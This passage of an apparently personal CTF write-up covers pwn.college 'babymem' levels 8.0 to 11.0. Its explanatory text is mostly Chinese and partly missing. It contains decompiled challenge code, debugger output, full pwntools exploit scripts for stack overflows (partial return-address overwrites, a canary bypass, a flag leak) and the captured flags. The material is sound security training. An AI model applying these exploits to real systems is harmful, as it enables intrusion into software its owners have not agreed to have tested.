  puts("it only lets you win if you provide it with the argument 0x1337.");
  puts("Speifically, the win_authed() function looks something like:");
  puts("    void win_authed(int token)");
  puts("    {");
  puts("      if (token != 0x1337) return;");
  puts("      puts("You win! Here is your flag: ");");
  puts("      sendfile(1, open("/flag", 0), 0, 256);");
  puts("      puts("");");
  puts("    }");
  puts(byte_3F3B);
  puts("So how do you pass the check? There *is* a way, and we will cover it lat
er,");
  puts("but for now, we will simply bypass it! You can overwrite the return addr
ess");
  puts("with *any* value (as long as it points to executable code), not just the
 start");
  puts("of functions. Let's overwrite past the token check in win!n");
  puts("To do this, we will need to analyze the program with objdump, identify w
here");
  puts("the check is in the win_authed() function, find the address right after 
the check,");
  puts("and write that address over the saved return address.n");
  puts("Go ahead and find this address now. When you're ready, input a buffer ov
erflow");
  printf(
    "that will overwrite the saved return address (at %p, %d bytes into the buff
er)n",
    (const void *)rp_,
    rp_ - (_DWORD)dest);
  puts("with the correct value.n");
  puts("This challenge is careful about reading your input: it will allocate a c
orrectly-sized temporary");
  puts("buffer on the heap, and then copy the data over to the stack. Can you fi
gure out a way to fool");
  puts("this technique and cause an overflow?");
  buf = malloc(size);
  if ( !buf )
    __assert_fail("tmp_input != 0", "/challenge/babymem-level-8-0.c", 0xC0u, "ch
allenge");
  printf("Send your payload (up to %lu bytes)!n", size);
  v13 = read(0, buf, size);
  puts("Checking length of received string...");
  v12 = strlen((const char *)buf);
  if ( v12 > 0x24 )
    __assert_fail("string_length < 37", "/challenge/babymem-level-8-0.c", 0xC5u,
 "challenge");
  printf(
    "Passed! We should have enough space for all %d bytes of it on the stack. Co
pying all %d received bytes!n",
    v12,
    v13);
  memcpy(dest, buf, v13);
  if ( v13 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v13);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", dest);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the address of win_authed() is %p.n", win_authed);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win_authed() when it returns.");
  printf("Let's try it now!nn");
  if ( (unsigned __int64)dest + v13 > rp_ + 2 )
  {
    puts("WARNING: You sent in too much data, and overwrote more than two bytes 
of the address.");
    puts("         This can still work, because I told you the correct address t
o use for");
    puts("         this execution, but you should not rely on that information."
);
    puts("         You can solve this challenge by only overwriting two bytes!")
;
    puts("         ");
  }
  puts("Goodbye!");
  return 0LL;
}
```

 `memcpy`  `buf`  `dest` `
v13` `read` 
 `memcpy` 

 `v12 > 0x24` payload 
 36 bytes 0x58 bytes

 `strlen` Null  `x00` 
 payload  Null `strlen` 


```asm wrap=false showLineNumbers=false {23} collapse={1-19, 27-52}
Breakpoint 1, 0x000055555555622f in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
 RAX  0x7fffffffd160 <- 0
 RBX  0x7fffffffe308 -> 0x7fffffffe6ba <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-8-0'
 RCX  0x55555555b2a0 <- 0xa /* 'n' */
 RDX  1
 RDI  0x7fffffffd160 <- 0
 RSI  0x55555555b2a0 <- 0xa /* 'n' */
 R8   0x64
 R9   0xffffffff
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 -> 0x555555554000 <- 0x101
02464c457f
 R15  0
 RBP  0x7fffffffd1b0 -> 0x7fffffffe1e0 -> 0x7fffffffe280 -> 0x7fffffffe2e0 <- 0
 RSP  0x7fffffffd130 -> 0x7fffffffd160 <- 0
 RIP  0x55555555622f (challenge+1522) <- call 0x5555555551d0
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x55555555622f <challenge+1522>    call   memcpy@plt                  <memcp
y@plt>
        dest: 0x7fffffffd160 <- 0
        src: 0x55555555b2a0 <- 0xa /* 'n' */
        n: 1

   0x555555556234 <challenge+1527>    cmp    dword ptr [rbp - 0x14], 0
   0x555555556238 <challenge+1531>    jns    challenge+1577              <challe
nge+1577>

   0x55555555623a <challenge+1533>    call   __errno_location@plt        <__errn
o_location@plt>

   0x55555555623f <challenge+1538>    mov    eax, dword ptr [rax]
   0x555555556241 <challenge+1540>    mov    edi, eax
   0x555555556243 <challenge+1542>    call   strerror@plt                <strerr
or@plt>

   0x555555556248 <challenge+1547>    mov    rsi, rax
   0x55555555624b <challenge+1550>    lea    rdi, [rip + 0x21b6]     RDI => 0x55
5555558408 <- 'ERROR: Failed to read input -- %s!n'
   0x555555556252 <challenge+1557>    mov    eax, 0                  EAX => 0
   0x555555556257 <challenge+1562>    call   printf@plt                  <printf
@plt>
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp     0x7fffffffd130 -> 0x7fffffffd160 <- 0
01:0008│-078     0x7fffffffd138 -> 0x7fffffffe318 -> 0x7fffffffe6f0 <- 'SHELL=/u
sr/bin/zsh'
02:0010│-070     0x7fffffffd140 -> 0x7fffffffe308 -> 0x7fffffffe6ba <- '/home/cu
b3y0nd/Projects/pwn.college/babymem-level-8-0'
03:0018│-068     0x7fffffffd148 <- 0x1f7e3070b
04:0020│-060     0x7fffffffd150 -> 0x555555558770 <- 0x2023232300232323 /* '###'
 */
05:0028│-058     0x7fffffffd158 <- 0x6eb
06:0030│ rax rdi 0x7fffffffd160 <- 0
07:0038│-048     0x7fffffffd168 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55555555622f challenge+1522
   1   0x55555555649b main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555526e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x55555555622f in challenge; saved rip = 0x55555555649b
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame's sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg> dist 0x7fffffffd160 0x7fffffffd1b8
0x7fffffffd160->0x7fffffffd1b8 is 0x58 bytes (0xb words)
pwndbg>
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-8-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+1421
b *challenge+1502
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


null = b"x00"
padding = b"".ljust(0x58 - 0x1, b"A")
fixed_offset = b"x3c"
possible_bytes = [bytes([i]) for i in range(0x0B, 0x10B, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


while True:
    try:
        target = launch(debug=False)

        payload = null + padding
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{82SpQ2oiZjETn254hnZR69O97tP.01MwMDL5cTNxgzW}`

# Level 8.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a p
osition independent (PIE) binary with an additional check on your input.

## Write-up



## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-8-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+259
b *challenge+326
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


null = b"x00"
padding = b"".ljust(0x68 - 0x1, b"A")
fixed_offset = b"x5a"
possible_bytes = [bytes([i]) for i in range(0x0F, 0x10F, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


while True:
    try:
        target = launch(debug=False)

        payload = null + padding
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{orn4FN_Dc8Po8bG2OX-G3dcj8Pr.0FNwMDL5cTNxgzW}`

# Level 9.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a P
IE binary with a stack canary. Be warned, this requires careful and clever paylo
ad construction!

## Write-up

```c {12-13, 23-25, 89} del={134-139} collapse={1-8, 17-19, 29-85, 93-130, 143-1
74}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int v3; // eax
  int *v4; // rax
  char *v5; // rax
  _QWORD v7[3]; // [rsp+0h] [rbp-80h] BYREF
  int v8; // [rsp+1Ch] [rbp-64h]
  int v9; // [rsp+24h] [rbp-5Ch]
  unsigned __int64 v10; // [rsp+28h] [rbp-58h] BYREF
  char *v11; // [rsp+30h] [rbp-50h]
  int *v12; // [rsp+38h] [rbp-48h]
  _QWORD v13[6]; // [rsp+40h] [rbp-40h] BYREF
  int v14; // [rsp+70h] [rbp-10h] BYREF
  unsigned __int64 v15; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v8 = a1;
  v7[2] = a2;
  v7[1] = a3;
  v15 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0;
  v11 = (char *)v13;
  v12 = &v14;
  v10 = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v7;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v7) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", v11
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 48);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win_authed() function"
);
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)v11);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)v11 + 8,
    48);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)v11 - 48);
  puts("and 8 that will overwrite the return address).n");
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts("While canaries are enabled, this program reads your input 1 byte at a ti
me,");
  puts("tracking how many bytes have been read and the offset from your input bu
ffer");
  puts("to read the byte to using a local variable on the stack.");
  puts("The code for doing this looks something like:");
  puts("    while (n < size) {");
  puts("      n += read(0, input + n, 1);");
  puts("    }");
  puts("As it turns out, you can use this local variable `n` to jump over the ca
nary.");
  printf("Your input buffer is stored at %p, and this local variable `n`n", v11)
;
  printf("is stored %d bytes after it at %p.nn", (_DWORD)v12 - (_DWORD)v11, v12)
;
  puts("When you overwrite `n`, you will change the program's understanding of")
;
  puts("how many bytes it has read in so far, and when it runs `read(0, input + 
n, 1)`");
  puts("again, it will read into an offset that you control.");
  puts("This will allow you to reposition the write *after* the canary, and writ
e");
  puts("into the return address!n");
  puts("The payload size is deceptively simple.");
  puts("You don't have to think about how many bytes you will end up skipping:")
;
  puts("with the while loop described above, the payload size marks the");
  puts("*right-most* byte that will be read into.");
  puts("As far as this challenge is concerned, there is no difference between by
tes");
  puts(""skipped" by fiddling with `n` and bytes read in normally: the values");
  puts("of `n` and `size` are all that matters to determine when to stop reading
,");
  puts("*not* the number of bytes actually read in.n");
  puts("That being said, you *do* need to be careful on the sending side: don't 
send");
  puts("the bytes that you're effectively skipping!n");
  puts("Because the binary is position independent, you cannot know");
  puts("exactly where the win_authed() function is located.");
  puts("This means that it is not clear what should be written into the return a
ddress.n");
  printf("Payload size: ");
  __isoc99_scanf("%lu", &v10);
  printf("You have chosen to send %lu bytes of input!n", v10);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, v11);
  printf("right up to (but not including) %p (which is %d bytes beyond the end o
f the buffer).n", &v11[v10], v10 - 48);
  printf("Of these, you will overwrite %d bytes into the return address.n", v10 
+ (_DWORD)v11 - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("Overwriting the entire return address is fine when we know");
  puts("the whole address, but here, we only really know the last three nibbles.
");
  puts("These nibbles never change, because pages are aligned to 0x1000.");
  puts("This gives us a workaround: we can overwrite the least significant byte"
);
  puts("of the saved return address, which we can know from debugging the binary
,");
  puts("to retarget the return to main to any instruction that shares the other 
7 bytes.");
  puts("Since that last byte will be constant between executions (due to page al
ignment),");
  puts("this will always work.");
  puts("If the address we want to redirect execution to is a bit farther away fr
om");
  puts("the saved return address, and we need to write two bytes, then one of th
ose");
  puts("nibbles (the fourth least-significant one) will be a guess, and it will 
be");
  puts("incorrect 15 of 16 times.");
  puts("This is okay: we can just run our exploit a few times until it works");
  puts("(statistically, ~50% chance after 11 times and ~90% chance after 36 time
s).");
  puts("One caveat in this challenge is that the win_authed() function must firs
t auth:");
  puts("it only lets you win if you provide it with the argument 0x1337.");
  puts("Speifically, the win_authed() function looks something like:");
  puts("    void win_authed(int token)");
  puts("    {");
  puts("      if (token != 0x1337) return;");
  puts("      puts("You win! Here is your flag: ");");
  puts("      sendfile(1, open("/flag", 0), 0, 256);");
  puts("      puts("");");
  puts("    }");
  puts(byte_440D);
  puts("So how do you pass the check? There *is* a way, and we will cover it lat
er,");
  puts("but for now, we will simply bypass it! You can overwrite the return addr
ess");
  puts("with *any* value (as long as it points to executable code), not just the
 start");
  puts("of functions. Let's overwrite past the token check in win!n");
  puts("To do this, we will need to analyze the program with objdump, identify w
here");
  puts("the check is in the win_authed() function, find the address right after 
the check,");
  puts("and write that address over the saved return address.n");
  puts("Go ahead and find this address now. When you're ready, input a buffer ov
erflow");
  printf(
    "that will overwrite the saved return address (at %p, %d bytes into the buff
er)n",
    (const void *)rp_,
    rp_ - (_DWORD)v11);
  puts("with the correct value.n");
  printf("Send your payload (up to %lu bytes)!n", v10);
  while ( *v12 < v10 )
  {
    printf("About to read 1 byte to %p, this is %d bytes away from the start of 
the input buffer.n", &v11[*v12], *v12);
    v3 = read(0, &v11[*v12], 1uLL);
    *v12 += v3;
  }
  v9 = *v12;
  if ( v9 < 0 )
  {
    v4 = __errno_location();
    v5 = strerror(*v4);
    printf("ERROR: Failed to read input -- %s!n", v5);
    exit(1);
  }
  printf("You sent %d bytes!n", v9);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", v11);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of the number of bytes read counter and read offset is %
p.n", v12);
  printf("- the address of win_authed() is %p.n", win_authed);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win_authed() when it returns.");
  printf("Let's try it now!nn");
  if ( (unsigned __int64)&v11[v9] > rp_ + 2 )
  {
    puts("WARNING: You sent in too much data, and overwrote more than two bytes 
of the address.");
    puts("         This can still work, because I told you the correct address t
o use for");
    puts("         this execution, but you should not rely on that information."
);
    puts("         You can solve this challenge by only overwriting two bytes!")
;
    puts("         ");
  }
  puts("Goodbye!");
  return 0LL;
}
```




```c
while ( *v12 < v10 )
{
  printf("About to read 1 byte to %p, this is %d bytes away from the start of th
e input buffer.n", &v11[*v12], *v12);
  v3 = read(0, &v11[*v12], 1uLL);
  *v12 += v3;
}
```

 `v10`  `while`  `v1
3`  `*v12` 
 `v10` 

 `read(0, &v11[*v12], 1uLL)` `&v11[*v12]
` `*v12` `v11` 

 `*v12` 



 `*v12 < v10`  `&v11
[*v12]` `*v12`  `v10` 



 Canary  PIE 
 Canary  PIE
payload 
 padding +  + 
 payload  `v10` 
 `*v12 < v10` 

 payload  padding 
…

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-9-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+1786
b *challenge+1816
b *challenge+1825
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


destination = b"x47"
fixed_offset = b"x84"
possible_bytes = [bytes([i]) for i in range(0x06, 0x106, 0x10)]
padding = b"".ljust(0x30, b"A") + destination
extra_padding = b"".ljust(0x17, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()
        # pause()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


while True:
    try:
        target = launch(debug=False)

        payload = padding
        payload += fixed_offset + random.choice(possible_bytes)
        payload += extra_padding
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{QccZPJ6VBhlEFtdfJdexxhwYSnh.0VNwMDL5cTNxgzW}`

# Level 9.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a P
IE binary with a stack canary. Be warned, this requires careful and clever paylo
ad construction!

## Write-up

```c del={22-26} collapse={1-18, 30-36}
__int64 challenge()
{
  int v0; // eax
  int *v1; // rax
  char *v2; // rax
  unsigned __int64 v4; // [rsp+28h] [rbp-88h] BYREF
  _BYTE *v5; // [rsp+30h] [rbp-80h]
  int *v6; // [rsp+38h] [rbp-78h]
  _BYTE v7[96]; // [rsp+40h] [rbp-70h] BYREF
  int v8; // [rsp+A0h] [rbp-10h] BYREF
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  memset(v7, 0, sizeof(v7));
  v8 = 0;
  v5 = v7;
  v6 = &v8;
  v4 = 0LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &v4);
  printf("Send your payload (up to %lu bytes)!n", v4);
  while ( *v6 < v4 )
  {
    v0 = read(0, &v5[*v6], 1uLL);
    *v6 += v0;
  }
  if ( *v6 < 0 )
  {
    v1 = __errno_location();
    v2 = strerror(*v1);
    printf("ERROR: Failed to read input -- %s!n", v2);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}
```

……

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-9-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+212
b *challenge+233
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


destination = b"x77"
fixed_offset = b"xe4"
possible_bytes = [bytes([i]) for i in range(0x0F, 0x10F, 0x10)]
padding = b"".ljust(0x60, b"A") + destination
extra_padding = b"".ljust(0x17, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()
        # pause()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


while True:
    try:
        target = launch(debug=False)

        payload = padding
        payload += fixed_offset + random.choice(possible_bytes)
        payload += extra_padding
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{QfzSsyMdYf7_dP64EnXQ8DrrgQ1.0lNwMDL5cTNxgzW}`

# Level 10.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and leak the flag. Be warned, this requires careful and clev
er payload construction!

## Write-up

```c {10-12, 26-27} ins={47-48} del={62, 80} collapse={1-6, 16-22, 31-43, 52-58,
 66-76}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int v3; // eax
  int *v4; // rax
  char *v5; // rax
  _QWORD v7[3]; // [rsp+0h] [rbp-170h] BYREF
  int v8; // [rsp+1Ch] [rbp-154h]
  int v9; // [rsp+24h] [rbp-14Ch]
  size_t nbytes; // [rsp+28h] [rbp-148h] BYREF
  void *v11; // [rsp+30h] [rbp-140h]
  void *buf; // [rsp+38h] [rbp-138h]
  _BYTE v13[288]; // [rsp+40h] [rbp-130h] BYREF
  int v14; // [rsp+160h] [rbp-10h]
  char v15; // [rsp+164h] [rbp-Ch]
  unsigned __int64 v16; // [rsp+168h] [rbp-8h]
  __int64 savedregs; // [rsp+170h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+178h] [rbp+8h] BYREF

  v8 = a1;
  v7[2] = a2;
  v7[1] = a3;
  v16 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0;
  v15 = 0;
  v11 = v13;
  buf = &v13[37];
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v7;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v7) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", v11
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 37);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, the flag will be loaded into memory.");
  puts("However, at no point will this program actually print the buffer storing
 the flag.");
  v3 = open("/flag", 0);
  read(v3, buf, 0x100uLL);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, v11);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)v11 + nbytes,
    nbytes - 37);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v9 = read(0, v11, nbytes);
  if ( v9 < 0 )
  {
    v4 = __errno_location();
    v5 = strerror(*v4);
    printf("ERROR: Failed to read input -- %s!n", v5);
    exit(1);
  }
  printf("You sent %d bytes!n", v9);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", v11);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of the flag is %p.n", buf);
  putchar(10);
  printf("You said: %sn", (const char *)v11);
  puts("Goodbye!");
  return 0LL;
}
```

```plaintext wrap=false showLineNumbers=false
4755 .rwsr-xr-x 18k root root 12 Dec 21:43 babymem-level-10-0*
0400 .r--------  57 root root 12 Dec 22:13 /flag
```

`read`  `/flag`  `SUID` 
 `root`
 `/flag`  `SUID` Linux
  `SUID` 使

 `sudo`  LMAO

使 `printf`  `buf`  `flag` 
 `buf`  `printf`  `x00` 


使 `flag` 

~…… Level 10~

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-10-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+507
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b"".ljust(0x25, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success("Success! Exiting...")

        pause()
        exit()
except Exception as e:
    log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{cHV80jBzHGyTr_qaE0HdorP-81y.01NwMDL5cTNxgzW}`

# Level 10.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and leak the flag. Be warned, this requires careful and clev
er payload construction!

## Write-up

……

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-10-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+166
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b"".ljust(0x51, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success("Success! Exiting...")

        pause()
        exit()
except Exception as e:
    log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{4n50Ii5yzf-WULWGzVOqmN3vTgp.0FOwMDL5cTNxgzW}`

# Level 11.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and leak the flag. Be warned, this requires careful and clev
er payload construction!

## Write-up

 `SUID`  `printf` 
 `flag`

使 `mmap` 


`mmap`  `-1`

```c {10, 11} ins={22-24, 33} del={44, 57} collapse={1-6, 15-18, 28-29, 37-40, 4
8-53}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  int i; // [rsp+2Ch] [rbp-34h]
  int fd; // [rsp+30h] [rbp-30h]
  int v5; // [rsp+34h] [rbp-2Ch]
